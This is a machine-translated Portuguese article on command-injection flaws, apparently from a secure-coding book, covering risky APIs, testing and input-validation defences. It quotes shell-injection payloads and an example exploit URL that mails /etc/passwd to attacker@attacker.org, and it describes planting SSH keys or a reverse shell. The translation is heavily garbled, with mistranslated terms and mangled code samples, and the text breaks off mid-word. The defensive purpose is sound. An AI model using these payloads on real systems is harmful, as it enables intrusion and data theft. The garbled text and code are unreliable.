Injeção Do Comando

Dutch French Spanish Portuguese Italian German Japanese Chinese Korean Russian Arabic Bookmark and Share this Article Original English article
  

Em 1994, o autor deste tutorial estava sentando-se na frente de um computador do SGI que funciona IRIX que mostrava simplesmente a tela do início de uma sessão. Deu a opção para imprimir alguma documentação e para especificar a impressora para usar-se. O autor imaginou o que a execução pôde ser, especificou uma corda que o didn’t consultasse realmente a uma impressora, e teve de repente uma janela do administrador em uma caixa o wasn t do autor’não somente suposto para ter o acesso a, mas também o wasn’t registrado mesmo em.

O problema era um ataque da injeção do comando, onde o usuário input que foi significado ser dados realmente pode parcialmente ser interpretado como um comando de alguma sorte. Frequentemente, esse comando pode dar a pessoa com controle sobre o acesso dos dados a distante mais acesso do que foi pretendido sempre.

Línguas Afetadas

Os problemas da injeção do comando são uma preocupação quando os comandos e os dados são colocados inline junto. Quando as línguas puderem começar livradas de alguns dos ataques os mais diretos da injeção do comando fornecendo as relações de programação de aplicação boas (APIs) que executam o validation apropriado da entrada, há sempre a possibilidade que APIs novo introduzirá tipos novos de ataques da injeção do comando.

O Sin Explicou

Os problemas da injeção do comando ocorrem quando untrusted dados é colocado nos dados que são passados a alguma sorte do compilador ou do intérprete, onde os dados puderam, se’s formatassem em uma maneira particular, sejam tratados como algo à excepção dos dados.

O exemplo canônico para este problema foi sempre as chamadas do API que chamam diretamente o intérprete do comando do sistema sem nenhum validation. Para o exemplo, a tela velha do início de uma sessão de IRIX (mencionada previamente) fazia algo ao longo das linhas de:

char buf[1024 ]; snprintf(buf, do "lpr sistema - P 
%s", user_input, sizeof(buf)-1); system(buf);

Neste caso, o usuário era unprivileged, desde que poderia ser absolutamente qualquer um que vagueia por uma estação de trabalho. Ainda, simplesmente datilografando o texto: FRED; o xterm&, um terminal estalaria acima, porque; terminaria o comando original no escudo do sistema; e o comando do xterm criaria uma janela terminal nova inteira pronta para comandos, com & dizer o sistema para funcionar o processo sem obstruir o processo atual. (no escudo de Windows, o metacharacter do ampersand age o mesmos que um semicolon em uma caixa de UNIX.) E, desde que o processo do início de uma sessão teve privilégios administrativos, o terminal que criou teria também privilégios administrativos!

Há uma abundância das funções através de muitas línguas que são suscetíveis a tais ataques, como você’ll vê mais tarde. Mas, um doesn t do ataque da injeção’do comando requer uma função que se chame a um escudo do sistema. Para o exemplo, um atacante pôde poder leverage uma chamada a um intérprete da língua. Isto é consideravelmente popular em línguas high-level tais como o Perl e o python. Para o exemplo, considere o seguinte código do python:

call_func(user_input, system_data do def):        exec ' special_function_%s("%s") ' % (system_data, 
user_input

No código precedente, o % do operador do python age bem como * specifiers do printf em C. Combinam acima dos valores nos parênteses com os valores de %s na corda. Em conseqüência, este código é pretendido chamar uma função escolhida pelo sistema, passando lhe o argumento do usuário. Para o exemplo, se o system_data fosse amostra e o user_input fosse fred, o python funcionaria o código:

special_function_sample("fred")

E, este código funcionaria no mesmo espaço que a indicação do exec está dentro.

Os atacantes que controlam o user_input podem executar todo o código que do python quiserem com esse processo, simplesmente adicionando umas citações, seguidas por um parêntese direito e por um semicolon. Para o exemplo, o atacante podia tentar a corda:

fred"); cópia ("foo

Isto fará com que a função funcione o seguinte código:

special_function_sample("fred"); cópia ("foo")

Isto fará não somente o que o programador pretendeu, mas imprimirá também o foo. Os atacantes podem literalmente fazer qualquer coisa aqui, including apague limas com os privilégios do programa, ou faça mesmo conexões de rede. Se esta flexibilidade desse atacantes alcançasse a mais privilégios do que tiveram de outra maneira, isto são um problema da segurança.

Muitos destes problemas ocorrem quando as construções e os dados do controle juxtaposed, e os atacantes podem usar um caráter especial mudar para trás o contexto às construções do controle. Na caixa de escudos do comando, há os caráteres mágicos numerosos que podem fazer este. Para o exemplo, em a maioria UNIX-como máquinas, se os atacantes devessem adicionar um semicolon (que termina uma indicação), backtick (os dados entre backticks começam executados como o código), ou uma barra vertical (tudo depois que a barra é tratada como outra, processo relacionado), poderiam funcionar comandos arbitrários. Há outros caráteres especiais que podem mudar o contexto dos dados ao controle; estes são justos o mais óbvio.

Uma técnica comum para mitigating problemas com comandos funcionando deve usar um API chamar diretamente o comando, sem atravessar um escudo. Para o exemplo, em uma caixa de UNIX, lá’s a família do execv() das funções, que salta o escudo e chama o programa diretamente, dando os argumentos como cordas.

Esta é uma coisa boa, mas o doesn’t resolve sempre o problema, particularmente porque o programa spawned próprio pôde pôr dados para a direita ao lado das construções importantes do controle. Para o exemplo, chamando o execv() em um programa do python que passasse então a lista do argumento a um exec seria má. Nós vimos mesmo os casos onde o execv() d’/bin/sh dos povos (o escudo do comando), que falta totalmente o ponto.

Sins Relacionados

Alguns dos sins podem ser vistos como tipos específicos de problemas da injeção do comando. A injeção do SQL é claramente um tipo específico do ataque da injeção do comando. Os problemas da corda do formato podem ser vistos como um tipo do problema da injeção do comando, demasiado. Isto é porque o atacante faz exame de um valor que o programador espere ser dados, e então as inserções lessem e escrevessem comandos (para o exemplo, o specifier de %n é um comando de escrita). Aqueles casos particulares são assim comuns que nós’ve os tratamos separada.

Este é também o problema do núcleo no cruz-local que scripting, onde os atacantes enlatam escolheram os dados que olham como elementos particulares do controle da correia fotorreceptora se esses dados não forem validados corretamente.

Manchando o teste padrão do sin

Estão aqui os elementos ao teste padrão:

  • Os comandos (ou informação de controle) e os dados são colocados inline ao lado de se.

  • Há alguma possibilidade que os dados puderam começar tratados como um comando, frequentemente devido aos caráteres com os meanings especiais, tais como citações e semicolons.

  • O controle sobre comandos daria a usuários mais privilégios do que têm já.

Manchando o sin durante a revisão de código

Há umas chamadas do API e umas construções numerosas da língua através de uma variedade larga das línguas de programação diferentes que são suscetíveis a este problema. Uma aproximação boa a rever o código para este problema é a primeiramente identifica cada construção que poderia possivelmente ser usada invocar qualquer tipo do processador do comando (escudos including do comando, uma base de dados, ou o intérprete da língua de programação próprios). Então, olhar com o programa para ver se algumas daquelas construções forem usadas realmente. Se forem, verifique então para ver se uma medida defensiva apropriada está feita exame. Quando as medidas defensivas puderem variar baseado no sin, um deve geralmente ser skeptical de aproximações neg-lista-baseadas, e a permit-lista do favor aproxima-se (veja “a seção das etapas” do redemption que segue).

Estão aqui algumas das construções mais populares a ser preocupadas aproximadamente:

Língua Construção Comentários
C/C++ system(), popen(),
execlp(), execvp()
Posix
C/C++ A família de ShellExecute()
das funções; _ wsystem()
Win32 somente
Perl sistema Se chamado como um argumento, lata
chame o escudo se a corda tiver
descasque metacharacters.
Perl exec Similar ao sistema, exceto extremidades
o processo do Perl.
Perl backticks(`) A vontade invoca geralmente um escudo.
Perl aberto Se o primeiro ou último caráter do nome de arquivo for uma barra vertical, então o Perl abre uma tubulação preferivelmente. Isto é feito chamando ao escudo, e o descanso do nome de arquivo transforma-se dados passados através do escudo.
Perl Operador da barra vertical Isto age justo como o Posix
chamada do popen().
Perl eval Avalía o argumento da corda
como o código do Perl.
Perl Operador regular da expressão /e Avalía uma parcela teste-combinada de uma corda como o código do Perl.
Python exec, eval Os dados começam avaliados como o código.
Python os.system, os.popen Este delegado às chamadas subjacentes do posix.
Python execfile Isto é similar ao exec e eval, mas faz exame dos dados ao funcionamento da lima especificada. Se o atacante puder influenciar os índices da lima, o mesmo problema ocorre.
Python entrada O equivalente ao eval(raw_input()), assim que este executam realmente o texto’do usuário s como o código!
Python compile A intenção do texto compilando no código é ostensibly que ele’s que vai começar o funcionamento!
Java Nome de Class.forName(String), Class.newInstance() O código do byte de Java pode dinâmicamente ser carregado e funcionado. Em alguns casos, o código estará sandboxed quando vir do untrusted o usuário (particularmente ao escrever um applet).
Java Runtime.exec() Java tentou fazer a coisa segura não dando a alguns a facilidade direta para chamar um escudo. Mas os escudos podem ser assim convenientes para algumas tarefas que muitos povos chamarão este com um argumento que invoque explicitamente um escudo.

Técnicas testando para encontrar o sin

Geralmente, a coisa a fazer é fazer exame de cada entrada, pensar do que tipo do escudo do comando poderia possivelmente começar passada fora, a seguir tentá-la furar em cada metacharacter para esse escudo, e vê se fundir acima. Naturalmente, você quer escolher entradas em uma maneira que, se o metacharacter trabalhar, algo vontade measurable aconteça realmente.

Para o exemplo, se você quiser testar para ver se os dados estiverem passados a um escudo de UNIX, adicione um semicolon, e tente-o então enviar-se algo. Mas, se os dados fossem interior colocado um a corda citada, você pôde ter que introduzir umas citações do fim para sair. Para cobrir este, você pôde ter um exemplo que introduzisse umas citações seguidas por um semicolon, então um comando do teste que se enviasse algo. Verifique se deixar de funcionar ou fizer outras coisas más, as.well.as se você começar o E-mail; seu caso do teste não pôde executar a seqüência exata do ataque, mas pôde ser próximo bastante que pode imóvel revelar o problema. Quando houver uns muitos de defesas possíveis, na prática, você ganhou provavelmente’a necessidade de t começar demasiado extravagante. Você geralmente pode criar um programa simples que críe um número de permutações dos vários metacharacters (os caráteres de controle que têm meanings especiais, como;) e os comandos, emitem aqueles às várias entradas, e vêem se algo resultados untoward.

As ferramentas das companhias tais como a dinâmica e o Watchfire de SPI automatizam este tipo de testar para aplicações correia-baseadas.

Sins Do Exemplo

As seguintes entradas no Web site comum dos vulnerabilities e das exposições (CVE) (http://cve.mitre.org) são exemplos de ataques da injeção do comando.

CAN-2001-1187

O certificado da relação de passagem comum do Perl de CSVForm (cgi) adiciona registros a uma lima de base de dados separada vírgula do valor (CSV). OmniHTTPd 2.07 navios do web server com um certificado chamou statsconfig.pl. Depois que a pergunta é analisada gramaticalmente, o nome de arquivo (passado no parâmetro da lima) começa passado ao seguinte código:

modify_CSV secundário {if(open(CSV, 
$_[0])){    …  }

Lá’s nenhum validation da entrada feito no nome de arquivo, qualquer um. Assim você pode usar o truque cruel de adicionar uma tubulação ao fim do nome de arquivo.

Uma façanha do exemplo consistiria visitar o seguinte URL:

http://www.example.com/cgi-bin/csvform.pl?file=mail%20attacker@attacker.org</etc/passwd|

Em um sistema de UNIX, isto E-mail da vontade a lima da senha do sistema a um atacante.

Anote que os %20 são um espaço URL-CODIFICADO. A descodificação começa feita antes que o certificado do cgi comece passado seus dados.

A façanha do exemplo nós damos o isn’t todo o que interessando estes dias, porque a lima da senha de UNIX dá somente usernames. Os atacantes decidir-se-ão provavelmente fazer algo preferivelmente que permitirá que logon, como escrevem uma chave pública a ~/.ssh/authorized_keys. Ou, os atacantes podem realmente usar este ao upload e funcionar todo o programa que quiserem escrevendo bytes a uma lima. Desde que o Perl é instalado obviamente já em toda a caixa que funciona esta, uma coisa óbvia a fazer seria escrever um certificado simples do Perl para conectar para trás ao atacante, e na conexão, dá ao atacante um escudo do comando.

CAN-2002-0652

O serviço da montagem do sistema de lima de IRIX permite a montagem remota do sistema de lima sobre chamadas do RPC, e é instalado geralmente pelo defeito. Girou para fora daquele, acima de até que o erro estêve encontrado em 2002, muitas da lima certifica-se de que o usuário necessitasse fazer quando recebendo um pedido remoto estivesse executado usando o popen() funcionar comandos da linha de comando. A informação usada nessa chamada foi feita exame diretamente do usuário remoto, e um semicolon bem-colocado no parâmetro do RPC permitiria que o atacante funcionasse comandos do escudo como a raiz na caixa.

Etapas Do Redemption

A coisa óbvia a fazer é invocar nunca um intérprete do comando de toda a sorte. Mas, esse isn’t sempre prático, especial ao usar uma base de dados. Similarmente, seria justa aproximadamente como útil dizer que se você tivesse que usar um escudo do comando, don’o uso de t todos os dados externos nele. Esse conselho prático’justo do isn t em a maioria de casos.

A única resposta de valor deve fazer o validation. A estrada ao redemption é completamente direta aqui:

  1. Verifique os dados para certificar-se que está aprovada.

  2. Faça exame de uma ação apropriada quando os dados são inválidos.

Validation De Dados

No nível o mais elevado, você tem duas escolhas. Você pode ou validar tudo você’re ir enviar fora ao processo externo, ou você pode apenas validar as peças de que input untrusted fontes. Qualquer um um é muito bem, tão por muito tempo quanto você’re completo sobre ele.

’S geralmente uma idéia boa validar dados externos endireita antes que você a use. Há uns pares das razões para este. Primeiramente, assegura-se de que os dados comecem examinados em cada trajeto de dados que conduz a esse uso. Em segundo, a semântica dos dados é frequentemente a mais melhor direita compreendida antes de usar os dados. Isto permite que você seja tão exato como possível com suas verificações do validation da entrada. É também uma defesa boa de encontro à possibilidade dos dados que estão sendo modificados em uma maneira má após a verificação.

Finalmente, entretanto, uma estratégia da defesa-em-profundidade é a mais melhor aqui. Ele’s também bom verificar dados porque vem dentro de modo que não haja nenhum risco dele que está sendo usado sem ser verificado em outra parte. Particularmente se há uns lotes dos lugares onde os dados podem ser abusados, pôde ser fácil negligenciar uma verificação em alguns lugares.

Há três maneiras proeminentes determinar a validez dos dados:

  • A aproximação da neg-lista você procura os fósforos que demonstram que os dados são inválidos, e aceitam tudo mais como válidos.

  • A aproximação da permit-lista você procura o jogo de dados válidos, e de rejeição qualquer outra coisa (mesmo se lá’s alguma possibilidade ele wasn’t problematic).

  • “A aproximação” citando você transforma dados de modo que não possa haver qualquer coisa inseguro.

Todas estas aproximações têm o inconveniente que você pôde se esquecer de algo importante. No exemplo das neg-listas e de citar, isto podia obviamente ter implicações más da segurança. No fato, ele’s improvável que você’extremidade do ll acima com software seguro usando uma aproximação da neg-lista se você’re a passagem dos dados a alguns tipos dos sistemas (tais como escudos), porque a lista dos caráteres que podem ter o meaning especial é realmente completamente longa. Para alguns sistemas, apenas sobre qualquer coisa à excepção das letras e dos dígitos pode ter um meaning especial. Citar é também muito mais difícil de se pôde pensar. Para o exemplo, quando um é o código da escrita que executa citar para alguns tipos de processadores do comando,’s comum à tomada uma corda, e fura-a nas citações. Se você’re nao cuidadoso, atacantes puder apenas jogar suas próprias citações dentro lá. E, com alguns processadores do comando, há os metacharacters uniformes que têm o meaning dentro de uma corda citada (este inclui escudos do comando de UNIX).

Para dar-lhe um sentido de como difícil pode ser, tentativa escrever para baixo cada metacharacter do escudo de UNIX no seus próprios. Inclua tudo que pode ser feito exame como o controle, em vez dos dados. Como grande é sua lista?

Nossa lista inclui cada parte de pontuação exceto @, _, +,:, e a vírgula. E nós’re nao certo que aqueles caráteres são universal seguros. Pôde haver os escudos onde eles’re não.

Você pode pensar que você tem alguns outros caráteres que podem nunca ser interpretados com meaning especial. Um sinal negativo? Isso pôde ser interpretado como sinalizar o começo de uma comando-linha opção se ele’s no início de uma palavra. Como sobre o carat (^)? você o soube faz a substituição? Como sobre os % do sinal? Quando pôde frequentemente ser harmless quando interpretado como um metacharacter, ele é um metacharacter em algumas circunstâncias, porque faz o controle de trabalho. O tilde (~) é similar que, em alguns scenarios, expandirá ao diretório home de um usuário se’s no início de uma palavra, mas de outra maneira não se considerar um metacharacter. Aquele poderia ser um escapamento da informação ou mais mau, particularmente se é um vetor para ver uma parte do sistema de lima esse o shouldn t’do programa pudesse ver. Para o exemplo, você pôde furar seu programa em /home/blah/application, e disallow então pontos dobro na corda. Mas o usuário pôde poder alcançar qualquer coisa em /home/blah apenas prefixando com o ~blah.

Mesmo os espaços podem ser caráteres de controle, porque são usados separar semantically entre argumentos ou comandos. Há muitos tipos de espaços com este comportamento, including abas, linhas novas, retornos do carro, alimentações de formulário, e abas verticais.

O sinal de adição, lá pode ser os caráteres de controle como CTRL-D e o caráter NULO que podem ter efeitos indesejáveis.

Tudo em tudo, ele’s muito mais fácil de usar uma permit-lista. Se você’re ir usar uma neg-lista, você’d for mais melhor incredibly certo você’re a coberta de todas suas bases. Mas, as permit-listas sozinho não podem ser bastantes. A instrução é definitivamente necessária, porque mesmo se você’re usar uma permit-lista, você pôde permitir espaços ou tildes sem realizar o que pôde acontecer em seu programa de um perspective da segurança.

Uma outra edição com permit-listas é que você pôde ter usuários infelizes porque as entradas que devem ser permitidas aren’t. O exemplo, você não pôde permitir a “+” em um endereço do E-mail, mas encontra os povos que como para os usar se diferenciar quem ele’re dar seu endereço do E-mail. Ainda, a aproximação da permit-lista é fortemente preferível a outras duas aproximações.

Considere o caso onde você faz exame de um valor do usuário que você’deleite do ll como um nome de arquivo. Deixe’a palavra que de s você faz o validation como esta' (este exemplo está no python):

para o char no nome de arquivo:        se (não 
char em string.ascii_letters e não char em string.digits e char < > 
'.'):            aumento "InputValidationError"

Isto reserva períodos de modo que o usuário possa datilografar dentro limas com extensões, mas esquece-se sobre o underscore, que é comum. Mas, com uma aproximação da neg-lista, você não pôde ter pensado disallow o slash, que seria mau; um atacante podia usá-lo mais os pontos alcançar em outra parte limas no filesystem, além do diretório atual. Com uma aproximação citando, você teria que escrever uma rotina muito mais complexa analisar gramaticalmente.

Ele’s comum para usar expressões regulares executar este tipo do teste. As expressões regulares são fáceis de começar erradas, entretanto, especial quando se tornam complexas. Se você quiser às construções aninhadas punho e a tais, esqueça-se sobre ele.

Geralmente, de uma vista da segurança, ele’s mais melhor a ser seguro do que pesaroso. Usar expressões regulares pode conduzir às práticas fáceis melhor que seguras, particularmente quando as verificações as mais precisas requereriam verificar semântico mais complexo do que um fósforo simples do teste padrão.

Quando uma verificação falhar

Há três estratégias gerais a tratar de uma falha. Elas’re mutuamente o exclusive nao uniforme.’S bom a sempre faz ao menos os primeiros dois:

  • Sinalize um erro (naturalmente, recusa para funcionar o comando as-is). Tenha cuidado como você relata o erro, entretanto. Se você cópia que justa os dados maus suportam, aquela poderia transformar-se a base para um ataque scripting do cruz-local. Você don também’t quer dar ao atacante demasiada informação (particularmente se a verificação usa dados run-time da configuração), ele s melhor’dizer assim às vezes simplesmente “o caráter inválido” ou alguma outra resposta vaga.

  • Registre o erro, including todos os dados relevantes. Tenha cuidado que o doesn process registrando’t próprio se transforma um ponto do ataque; alguns sistemas registrando aceitam caráteres do formato, e tentar registrar ingènua alguns dados (tais como retornos do carro e linefeeds) poderia terminar acima de corrupting o registro.

  • Modifique os dados para ser válido, substituindo o com os valores de defeito ou transformando o.

Nós don’t recomendamos geralmente a terceira opção. Não somente pode você fazer um erro, mas também quando você don’t faça um erro, mas o usuário da extremidade , a semântica pode ser inesperado.’S mais fácil de falhar simplesmente, e assim com segurança.

Medidas Defensivas Extra

Se você acontecer usar o Perl, a língua tem as facilidades para ajudar-lhe detectar este tipo do erro no tempo funcionado.’S chamou a modalidade do taint. A idéia básica é que o Perl ganhou’t o deixou emitir unsanitized dados a uma das funções más acima. Mas, as verificações trabalham somente na modalidade do taint, assim que você não começa nenhum benefício se você don’t o funcionar. Sinal de adição, você pode acidentalmente dados do un-un-taint sem realmente ter validado qualquer coisa. Há outras limitações menores, demasiado, assim que ele’s bom não confiar unicamente neste mecanismo. Nonetheless, ele’s ainda uma ferramenta testando grande, e geralmente worth girar sobre como uma de suas defesas.

Para as chamadas comuns do API que invocam processadores do comando, você pôde querer escrever-lhes seu próprio envoltório API que permit-lista que filtra, e joga uma exceção se a entrada fosse má. Este shouldn’t seja o único validation que da entrada você porque, frequentemente,’s mais melhor para executar um sanity mais detalhado verifica em valores dos dados. Mas, ele’s uma primeira linha de defesa boa, e ele’s fácil de reforçar. Você pode ou make os envoltórios substituir “as funções” más, ou você pode usar uma ferramenta simples da busca no código que examina para encontrar todos os exemplos que você faltou e faz rapidamente a recolocação direita.

Conclusões

  • Execute o validation da entrada em toda a entrada antes de passá-la a um processador do comando.

  • Segure a falha firmemente se uma verificação do validation da entrada falhar.

  • Não passe unvalidated a entrada a nenhum processador do comando, mesmo se a intenção é que a entrada será apenas dados.

  • Não use a aproximação da neg-lista, a menos que você tiver 100 por cento certo você for contabilidade para todas as possibilidades.

  • Considere evitar expressões regulares para o validation da entrada; instead, escreva validators simples e desobstruídos por han

este é um artigo adicionado por Hendra Fang


Disclaimer: Nosso Web site não é responsável para a informação contida por este artigo. Este artigo em nenhuma maneira reflete as vistas, as opiniões, os pensamentos ou a opinião da equipe de funcionários do diretório dos artigos.

Observação da tradução: O artigo do "injeção comando" foi traduzido usando um serviço de tradução automatizado. Nós desculpamo-nos sincerely por todos os erros da tradução que ocorram. Obrigado compreendendo.


Online: 935 users browsing the articles directory